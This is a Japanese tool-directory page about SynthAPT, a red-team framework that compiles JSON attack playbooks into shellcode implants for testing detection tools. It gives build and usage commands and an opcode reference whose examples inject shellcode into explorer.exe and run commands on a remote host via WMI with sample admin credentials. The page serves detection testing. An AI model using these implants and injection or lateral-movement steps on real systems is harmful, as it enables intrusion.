Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
SynthAPT — プレイブックベースの敵対的シミュレーションフレームワーク。JSONで定義された攻撃パスを位置独立型シェルコードペイロードにコンパイルし、高度な検出機能やAIベースの調査エージェントを検証します。 | Kitploit
ツール/GitHubGitHub/acedef/synthapt
ペネトレーションテストフレームワーク特権昇格エクスプロイトフレームワークペイロード生成横移動シェルコードポストエクスプロイトコマンド&コントロールレッドチーミングAIセキュリティ敵対的攻撃
23147155ヶ月前Kitploit レビュー済み
GitHub
acedef/synthapt

SynthAPT

プレイブックベースの敵対的シミュレーションフレームワーク。JSONで定義された攻撃パスを位置独立型シェルコードペイロードにコンパイルし、高度な検出機能やAIベースの調査エージェントを検証します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SynthAPT

概要

SynthAPTは、複雑な攻撃経路を再現するためのプレイブックベースの adversary simulation フレームワークです。高度な検知機能やAIベースの調査エージェントを検証するために設計されています。中核となる考え方は、マルウェアの動作をJSONで表現し、それを機能的なマルウェアにコンパイルできることです。これにより、LLMを使用して現実的なシナリオを迅速に開発できます。

コアインプラントは、プレイブックインタプリタによって駆動されるシェルコードペイロードです。プレイブックは攻撃経路全体を事前に定義し、インプラントはそれに従い、プロセスインジェクションや横向き移動などを通じて環境内を移動します。各インプラントは独自の命令セットを持つ独立したスレッドとして起動するため、マルチステージ攻撃(例:初期アクセス → 権限昇格 → 横向き移動 → データ流出)は、連携するインプラントのグラフとして表現され、すべてプレイブック内で事前に定義されます。これには3つの大きな利点があります。

  1. ペイロードはC2インフラストラクチャなしで実際のマルウェアを模倣できます。攻撃経路全体がペイロードに埋め込まれ、C2とのやり取りを模擬できます。
  2. ペイロードは再現可能です。毎回まったく同じ攻撃経路を実行するため、検知機能の回帰テストに適しています。
  3. LLMは脅威インテリジェンスレポートやブログを、攻撃の専門知識やゼロからのマルウェア構築を必要とせずに、動作可能なペイロードに直接変換できます。

機能

  • 位置独立シェルコード - インプラントは完全にPICであり、任意のローダーやインジェクターに組み込めます。
  • 豊富なオペコードライブラリ - 実行、トークン操作、プロセスインジェクション、プロセスハロウイング、横向き移動、AD列挙・変更、レジストリ、サービスなど。
  • 自己複製ペイロード - インプラントは異なるタスクセットを持つEXEまたはDLLとして自身をドロップでき、C2なしでのマルチステージ配信が可能です。
  • 柔軟な出力形式 - プレイブックを生のシェルコード、PE EXE、またはPE DLLにコンパイルできます。
  • インメモリPython - Pythonインタプリタを実行時にリフレクティブロードでき、すべてのインプラント機能をPythonモジュールとして公開し、柔軟なスクリプトが可能です。
  • NPCシミュレーション - 'explorer'オペコードを使用すると、ペイロードを自動的に解凍して起動し、ユーザー操作の痕跡を再現します(Explorer.exeにインジェクションした場合)。
  • LLMエージェント付きTUIエディタ - 端末ベースのプレイブックエディタにClaudeエージェントが統合されており、自然言語や脅威インテリジェンスからプレイブックを生成・編集できます。
  • BOFローダー - 標準のBeacon Object Filesで機能を拡張可能。

ソースからのビルド

リリースを使用したくない場合は、以下のようにコンパイルできます。

  1. cargo
  2. rustup
  3. binutils-mingw-w64-x86-64```bash cargo install cargo-make rustup toolchain install nightly rustup target add x86_64-pc-windows-gnu --toolchain nightly
    sudo apt install gcc-mingw-w64-x86-64
cargo make でビルド:```bash
cargo make build
./target/release/synthapt

これにより、shellcode とエディタがコンパイルされます。

使い方

コマンドなしで SynthAPT を実行すると、エディタに移行します。Claude APIキーを提供し、プロンプトを入力するたびに変更を確認できます。```bash SynthAPT playbook editor and compiler

Usage: synthapt [COMMAND]

Commands: edit Open the TUI editor with a playbook loaded from PATH validate Validate a playbook JSON file and print any errors export-skill Export the agent system prompt as a Claude Code slash command skill compile Compile a playbook to a payload

別のLLMやサブスクリプションを使用したい場合は、`synthapt export-skill`を実行し、それを任意のコーディング環境で使用できます。

JSONプレイブックが出力されるはずです。それをペイロードにコンパイルするには、compileコマンドを使用してください:```bash
Compile a playbook to a payload

Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]

Arguments:
  <PLAYBOOK>  Path to the playbook JSON file
  [OUTPUT]    Output file path (default: payload.bin / payload.exe / payload.dll)

Options:
  -e, --exe          Compile to PE EXE
  -d, --dll          Compile to PE DLL
  -b, --base <BASE>  Override the embedded base shellcode with a custom binary
  -h, --help         Print help

Opcodes リファレンス

定数は文字列、hexオブジェクト、base64オブジェクトとして定義できます:```json "constants": [ "c:\windows\temp\file.txt", { "hex": "deadbeef" }, { "base64": "SGVsbG8=" } ]

---

### end (0x00)
タスクセットの終了。コンパイラによって自動的に追加されます - 手動で追加する必要はありません。

---

### store_result (0x01)
最後の操作結果を変数に格納します。

| フィールド | タイプ | |
|-------|------|-|
| var | u16 | **必須** |```json
{ "op": "store_result", "var": 0 }

get_shellcode (0x02)

オプションのタスクIDやマジック値をパッチした現在のシェルコードバイトを返します。

フィールド型
tasku8オプション
magicu32 hex string or numberオプション
{ "op": "get_shellcode" }
{ "op": "get_shellcode", "task": 5, "magic": "0x18181818" }
### sleep (0x03)
指定されたミリ秒だけスリープします。

| フィールド | 型 | |
|-------|------|-|
| ms | u32 | **必須** |```json
{ "op": "sleep", "ms": 5000 }

run_command (0x04)

cmd.exeを介してコマンドを実行します。

フィールド種類
commandstring必須
{ "op": "run_command", "command": "whoami /all" }
### get_cwd (0x05)
現在の作業ディレクトリを取得します。引数はありません。```json
{ "op": "get_cwd" }

read_file (0x06)

ファイルを読み込み、その内容を返します。

フィールド型
pathstring必須
{ "op": "read_file", "path": "c:\users\public\data.txt" }
{ "op": "read_file", "path": "%0" }
---

### write_file (0x07)
ファイルにバイトを書き込みます。

| Field | Type | |
|-------|------|-|
| path | string | **必須** |
| content | bytes | *オプション*(省略時は空ファイル) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }

check_error (0x08)

変数のステータスコードを出力します (0 = 成功、非ゼロ = エラー)。

フィールドタイプ
varu16必須
{ "op": "check_error", "var": 0 }
### 条件分岐 (0x09)
変数の状態に基づいて異なるタスクインデックスへ分岐します。

| フィールド | 型 | |
|-------|------|-|
| mode | `"data"` または `"error"` | **必須** |
| var1 | u16 | **必須** |
| var2 | u16 | *オプション* (単一チェックではなく、2つの変数を比較) |
| true | u16 | **必須** (条件が真の場合のタスクインデックス) |
| false | u16 | **必須** (条件が偽の場合のタスクインデックス) |

`true_target` と `false_target` は `true` と `false` の別名として受け入れられます。

単一変数モード:
- `"data"` — var1 が空でないデータを持つ場合に真
- `"error"` — var1 のステータスが 0(成功)の場合に真

2変数モード(var2 が存在する場合):
- `"data"` — var1 のデータが var2 のデータと等しい場合に真
- `"error"` — var1 のエラーコードが var2 のエラーコードと等しい場合に真```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }

set_var (0x0A)

変数にリテラル値を設定します。

フィールド型
varu16必須
databytes省略可(省略時は空)

リテラル文字列および16進数/Base64値は、読み取り時に通常の操作結果のように見えるように、5バイトの結果プレフィックスとともに保存されます。変数($n)および定数(%n)の参照はそのまま渡されます。```json { "op": "set_var", "var": 0, "data": "hello world" } { "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }

---

### print_var (0x0B)
変数の内容をstdoutに表示(デバッグ)。`var`を省略すると、最後の操作結果を表示します。

| フィールド | タイプ | |
|-------|------|-|
| var | u16 | *オプション* (省略時は最後の結果を表示) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }

goto (0x0C)

現在のタスクセット内のタスクインデックスへの無条件ジャンプ。

FieldType
targetu16必須
{ "op": "goto", "target": 2 }
---

### migrate (0x0D)
検索文字列またはPIDに一致するプロセスにシェルコードを注入します。

| フィールド | タイプ | |
|-------|------|-|
| task_id | u8 | **必須** |
| search | string または number | *オプション* (空欄=検索なし; 数値=対象PID) |
| magic | u32 hex string または number | *オプション* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }

list_procs (0x0E)

実行中のプロセスを一覧表示します。タブ区切りの行を返します: pid\timage\tcmdline\n。引数はありません。```json { "op": "list_procs" }

---

### get_const (0x0F)
定数を最後の結果にロードします。`index` もしくは `const_idx` をフィールド名として受け入れます。

| フィールド | タイプ | |
|-------|------|-|
| index | u16 | **必須** |```json
{ "op": "get_const", "index": 0 }

wmi_exec (0x10)

WMI を介してコマンドを実行します。オプションでリモートホスト上でも可能です。

FieldType
commandstring必須
hoststringオプション (空の場合はローカルホスト)
userstringオプション (空の場合は現在のユーザー)
passstringオプション (空の場合は現在の資格情報)
{ "op": "wmi_exec", "command": "calc.exe" }
{ "op": "wmi_exec", "command": "cmd.exe /c whoami", "host": "192.168.1.10", "user": "CORP\admin", "pass": "Password1" }
---

### http_send (0x11)
HTTP/Sリクエストを送信します。
ツールをダウンロード